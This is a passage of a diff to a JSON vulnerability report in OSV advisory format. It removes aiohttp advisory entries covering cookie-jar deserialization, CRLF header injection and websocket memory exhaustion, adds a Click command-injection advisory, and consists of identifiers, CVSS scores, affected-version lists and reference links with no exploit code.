"3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hpj7-wq8m-9hgp/GHSA-hpj7-wq8m-9hgp.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-200", - "CWE-522" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:09:06Z", - "nvd_published_at": null, - "severity": "MODERATE" - } - }, - { - "modified": "2026-06-04T15:29:17Z", - "published": "2026-06-03T20:56:54Z", - "schema_version": "1.7.5", - "id": "GHSA-jg22-mg44-37j8", - "aliases": [ - "CVE-2026-34993" - ], - "related": [ - "CGA-2r69-w36g-jxvr" - ], - "summary": "AIOHTTP is Vulnerable to Deserialization of Untrusted Data", - "details": "### Summary\n\nUsing ``CookieJar.load()`` with untrusted input may allow arbitrary code execution.\n\n### Impact\n\nMost applications using this function will be doing so with the user's own data, so this is unlikely to affect many applications.\n\n### Workaround\n\nIf an application does allow attacker controlled files to be loaded, a workaround on older releases would be to sanitise the files before loading.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00", - "severity": [ - { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.0" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-jg22-mg44-37j8/GHSA-jg22-mg44-37j8.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jg22-mg44-37j8" - }, - { - "type": "ADVISORY", - "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34993" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/dcf40f30637e8752c76781cf6703b5a236749a00" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-502" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-03T20:56:54Z", - "nvd_published_at": "2026-06-02T20:16:34Z", - "severity": "MODERATE" - } - }, - { - "modified": "2026-06-19T02:29:27Z", - "published": "2026-06-15T20:07:26Z", - "schema_version": "1.7.5", - "id": "GHSA-m6qw-4cw2-hm4m", - "aliases": [ - "CVE-2026-50269" - ], - "related": [ - "CGA-vgpq-xpp4-4j5v" - ], - "summary": "aiohttp: CRLF injection in multipart headers", - "details": "### Summary\n\nAttacker-controlled input included into multipart/payload headers can be used to modify a request to inject additional headers or similar.\n\n### Impact\n\nIn the unlikely situation that an application is passing user-controlled strings into `MultipartWriter.append(headers=...)` or `Payload.headers`, then an attacker may be able to modify the request to inject headers or change the contents of the request.\n\n### Workaround\n\nSanitise such user input.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.0" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.13.5", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-m6qw-4cw2-hm4m/GHSA-m6qw-4cw2-hm4m.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-m6qw-4cw2-hm4m" - }, - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/commit/bf88077ebb14f4c29924b8e8904cba20c55c28b8" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-113", - "CWE-93" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:07:26Z", - "nvd_published_at": null, - "severity": "LOW" - } - }, - { - "modified": "2026-06-17T04:59:18Z", - "published": "2026-06-15T20:11:22Z", - "schema_version": "1.7.5", - "id": "GHSA-xcgm-r5h9-7989", - "aliases": [ - "CVE-2026-54274" - ], - "related": [ - "CGA-fcgj-pwxv-jxfc" - ], - "summary": "aiohttp: Incomplete websocket frame payloads bypass memory limits", - "details": "### Summary\n\nIf an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.\n\n### Impact\n\nIf a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/14b6ee851fb16ec199acb950de0c82d476799e7d", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U" - } - ], - "affected": [ - { - "package": { - "ecosystem": "PyPI", - "name": "aiohttp", - "purl": "pkg:pypi/aiohttp" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - }, - { - "fixed": "3.14.1" - } - ] - } - ], - "versions": [ - "0.1", - "0.10.0", - "0.10.1", - "0.10.2", - "0.11.0", - "0.12.0", - "0.13.0", - "0.13.1", - "0.14.0", - "0.14.1", - "0.14.2", - "0.14.3", - "0.14.4", - "0.15.0", - "0.15.1", - "0.15.2", - "0.15.3", - "0.16.0", - "0.16.1", - "0.16.2", - "0.16.3", - "0.16.4", - "0.16.5", - "0.16.6", - "0.17.0", - "0.17.1", - "0.17.2", - "0.17.3", - "0.17.4", - "0.18.0", - "0.18.1", - "0.18.2", - "0.18.3", - "0.18.4", - "0.19.0", - "0.2", - "0.20.0", - "0.20.1", - "0.20.2", - "0.21.0", - "0.21.1", - "0.21.2", - "0.21.4", - "0.21.5", - "0.21.6", - "0.22.0", - "0.22.0a0", - "0.22.0b0", - "0.22.0b1", - "0.22.0b2", - "0.22.0b3", - "0.22.0b4", - "0.22.0b5", - "0.22.0b6", - "0.22.1", - "0.22.2", - "0.22.3", - "0.22.4", - "0.22.5", - "0.3", - "0.4", - "0.4.1", - "0.4.2", - "0.4.3", - "0.4.4", - "0.5.0", - "0.6.0", - "0.6.1", - "0.6.2", - "0.6.3", - "0.6.4", - "0.6.5", - "0.7.0", - "0.7.1", - "0.7.2", - "0.7.3", - "0.8.0", - "0.8.1", - "0.8.2", - "0.8.3", - "0.8.4", - "0.9.0", - "0.9.1", - "0.9.2", - "0.9.3", - "1.0.0", - "1.0.1", - "1.0.2", - "1.0.3", - "1.0.5", - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.2.0", - "1.3.0", - "1.3.1", - "1.3.2", - "1.3.3", - "1.3.4", - "1.3.5", - "2.0.0", - "2.0.0rc1", - "2.0.1", - "2.0.2", - "2.0.3", - "2.0.4", - "2.0.5", - "2.0.6", - "2.0.7", - "2.1.0", - "2.2.0", - "2.2.1", - "2.2.2", - "2.2.3", - "2.2.4", - "2.2.5", - "2.3.0", - "2.3.0a1", - "2.3.0a2", - "2.3.0a3", - "2.3.0a4", - "2.3.1", - "2.3.10", - "2.3.1a1", - "2.3.2", - "2.3.2b2", - "2.3.2b3", - "2.3.3", - "2.3.4", - "2.3.5", - "2.3.6", - "2.3.7", - "2.3.8", - "2.3.9", - "3.0.0", - "3.0.0b0", - "3.0.0b1", - "3.0.0b2", - "3.0.0b3", - "3.0.0b4", - "3.0.1", - "3.0.2", - "3.0.3", - "3.0.4", - "3.0.5", - "3.0.6", - "3.0.7", - "3.0.8", - "3.0.9", - "3.1.0", - "3.1.1", - "3.1.2", - "3.1.3", - "3.10.0", - "3.10.0b1", - "3.10.0rc0", - "3.10.1", - "3.10.10", - "3.10.11", - "3.10.11rc0", - "3.10.2", - "3.10.3", - "3.10.4", - "3.10.5", - "3.10.6", - "3.10.6rc0", - "3.10.6rc1", - "3.10.6rc2", - "3.10.7", - "3.10.8", - "3.10.9", - "3.11.0", - "3.11.0b0", - "3.11.0b1", - "3.11.0b2", - "3.11.0b3", - "3.11.0b4", - "3.11.0b5", - "3.11.0rc0", - "3.11.0rc1", - "3.11.0rc2", - "3.11.1", - "3.11.10", - "3.11.11", - "3.11.12", - "3.11.13", - "3.11.14", - "3.11.15", - "3.11.16", - "3.11.17", - "3.11.18", - "3.11.2", - "3.11.3", - "3.11.4", - "3.11.5", - "3.11.6", - "3.11.7", - "3.11.8", - "3.11.9", - "3.12.0", - "3.12.0b0", - "3.12.0b1", - "3.12.0b2", - "3.12.0b3", - "3.12.0rc0", - "3.12.0rc1", - "3.12.1", - "3.12.10", - "3.12.11", - "3.12.12", - "3.12.13", - "3.12.14", - "3.12.15", - "3.12.1rc0", - "3.12.2", - "3.12.3", - "3.12.4", - "3.12.6", - "3.12.7", - "3.12.7rc0", - "3.12.8", - "3.12.9", - "3.13.0", - "3.13.1", - "3.13.2", - "3.13.3", - "3.13.4", - "3.13.5", - "3.14.0", - "3.2.0", - "3.2.1", - "3.3.0", - "3.3.0a0", - "3.3.1", - "3.3.2", - "3.3.2a0", - "3.4.0", - "3.4.0a0", - "3.4.0a3", - "3.4.0b1", - "3.4.0b2", - "3.4.1", - "3.4.2", - "3.4.3", - "3.4.4", - "3.5.0", - "3.5.0a1", - "3.5.0b1", - "3.5.0b2", - "3.5.0b3", - "3.5.1", - "3.5.2", - "3.5.3", - "3.5.4", - "3.6.0", - "3.6.0a0", - "3.6.0a1", - "3.6.0a11", - "3.6.0a12", - "3.6.0a2", - "3.6.0a3", - "3.6.0a4", - "3.6.0a5", - "3.6.0a6", - "3.6.0a7", - "3.6.0a8", - "3.6.0a9", - "3.6.0b0", - "3.6.1", - "3.6.1b3", - "3.6.1b4", - "3.6.2", - "3.6.2a0", - "3.6.2a1", - "3.6.2a2", - "3.6.3", - "3.7.0", - "3.7.0b0", - "3.7.0b1", - "3.7.1", - "3.7.2", - "3.7.3", - "3.7.4", - "3.7.4.post0", - "3.8.0", - "3.8.0a7", - "3.8.0b0", - "3.8.1", - "3.8.2", - "3.8.3", - "3.8.4", - "3.8.5", - "3.8.6", - "3.9.0", - "3.9.0b0", - "3.9.0b1", - "3.9.0rc0", - "3.9.1", - "3.9.2", - "3.9.3", - "3.9.4", - "3.9.4rc0", - "3.9.5" - ], - "database_specific": { - "last_known_affected_version_range": "<= 3.14.0", - "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-xcgm-r5h9-7989/GHSA-xcgm-r5h9-7989.json" - } - } - ], - "references": [ - { - "type": "WEB", - "url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xcgm-r5h9-7989" - }, - { - "type": "PACKAGE", - "url": "https://github.com/aio-libs/aiohttp" - } - ], - "database_specific": { - "cwe_ids": [ - "CWE-770" - ], - "github_reviewed": true, - "github_reviewed_at": "2026-06-15T20:11:22Z", - "nvd_published_at": null, - "severity": "MODERATE" - } - } - ], - "groups": [ - { - "ids": [ - "PYSEC-2026-237", - "GHSA-4m7w-qmgq-4wj5" - ], - "aliases": [ - "CVE-2026-54275", - "GHSA-4m7w-qmgq-4wj5", - "PYSEC-2026-237" - ], - "max_severity": "7.5" - }, - { - "ids": [ - "GHSA-2fqr-mr3j-6wp8" - ], - "aliases": [ - "CVE-2026-54279", - "GHSA-2fqr-mr3j-6wp8" - ], - "max_severity": "1.3" - }, - { - "ids": [ - "GHSA-4fvr-rgm6-gqmc" - ], - "aliases": [ - "CVE-2026-54273", - "GHSA-4fvr-rgm6-gqmc" - ], - "max_severity": "6.6" - }, - { - "ids": [ - "GHSA-63hw-fmq6-xxg2" - ], - "aliases": [ - "CVE-2026-54277", - "GHSA-63hw-fmq6-xxg2" - ], - "max_severity": "6.6" - }, - { - "ids": [ - "GHSA-9x8q-7h8h-wcw9" - ], - "aliases": [ - "CVE-2026-54280", - "GHSA-9x8q-7h8h-wcw9" - ], - "max_severity": "1.7" - }, - { - "ids": [ - "GHSA-g3cq-j2xw-wf74" - ], - "aliases": [ - "CVE-2026-54278", - "GHSA-g3cq-j2xw-wf74" - ], - "max_severity": "6.6" - }, - { - "ids": [ - "GHSA-hg6j-4rv6-33pg" - ], - "aliases": [ - "CVE-2026-47265", - "GHSA-hg6j-4rv6-33pg" - ], - "max_severity": "6.6" - }, - { - "ids": [ - "GHSA-hpj7-wq8m-9hgp" - ], - "aliases": [ - "CVE-2026-54276", - "GHSA-hpj7-wq8m-9hgp" - ], - "max_severity": "6.3" - }, - { - "ids": [ - "GHSA-jg22-mg44-37j8" - ], - "aliases": [ - "CVE-2026-34993", - "GHSA-jg22-mg44-37j8" - ], - "max_severity": "6.4" - }, - { - "ids": [ - "GHSA-m6qw-4cw2-hm4m" - ], - "aliases": [ - "CVE-2026-50269", - "GHSA-m6qw-4cw2-hm4m" - ], - "max_severity": "2.7" - }, - { - "ids": [ - "GHSA-xcgm-r5h9-7989" - ], - "aliases": [ - "CVE-2026-54274", - "GHSA-xcgm-r5h9-7989" - ], - "max_severity": "6.6" - } - ], "licenses": [ "Apache-2.0 AND MIT" ] @@ -4992,6 +371,155 @@ "version": "8.3.1", "ecosystem": "PyPI" }, + "vulnerabilities": [ + { + "modified": "2026-07-13T07:15:21Z", + "published": "2026-04-30T14:16:36Z", + "schema_version": "1.7.5", + "id": "PYSEC-2026-2132", + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw" + ], + "details": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "click", + "purl": "pkg:pypi/click" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "8.3.3" + } + ] + } + ], + "versions": [ + "0.1", + "0.2", + "0.3", + "0.4", + "0.5", + "0.5.1", + "0.6", + "0.7", + "1.0", + "1.1", + "2.0", + "2.1", + "2.2", + "2.3", + "2.4", + "2.5", + "2.6", + "3.0", + "3.1", + "3.2", + "3.3", + "4.0", + "4.1", + "5.0", + "5.1", + "6.0", + "6.1", + "6.2", + "6.3", + "6.4", + "6.5", + "6.6", + "6.7", + "6.7.dev0", + "7.0", + "7.1", + "7.1.1", + "7.1.2", + "8.0.0", + "8.0.0a1", + "8.0.0rc1", + "8.0.1", + "8.0.2", + "8.0.3", + "8.0.4", + "8.1.0", + "8.1.1", + "8.1.2", + "8.1.3", + "8.1.4", + "8.1.5", + "8.1.6", + "8.1.7", + "8.1.8", + "8.2.0", + "8.2.1", + "8.2.2", + "8.3.0", + "8.3.1", + "8.3.2" + ], + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/click/PYSEC-2026-2132.yaml" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2026-7246" + }, + { + "type": "WEB", + "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json" + }, + { + "type": "ADVISORY", + "url": "https://access.redhat.com/errata/RHSA-2026:24761" + }, + { + "type": "ADVISORY", + "url": "https://access.redhat.com/errata/RHSA-2026:24762" + }, + { + "type": "REPORT", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464121" + }, + { + "type": "FIX", + "url": "https://github.com/pallets/click/releases/tag/8.3.3" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw" + } + ] + } + ], + "groups": [ + { + "ids": [ + "PYSEC-2026-2132" + ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw", + "PYSEC-2026-2132" + ], + "max_severity": "7.2" + } + ], "licenses": [ "BSD-3-Clause" ] @@ -5289,7 +817,7 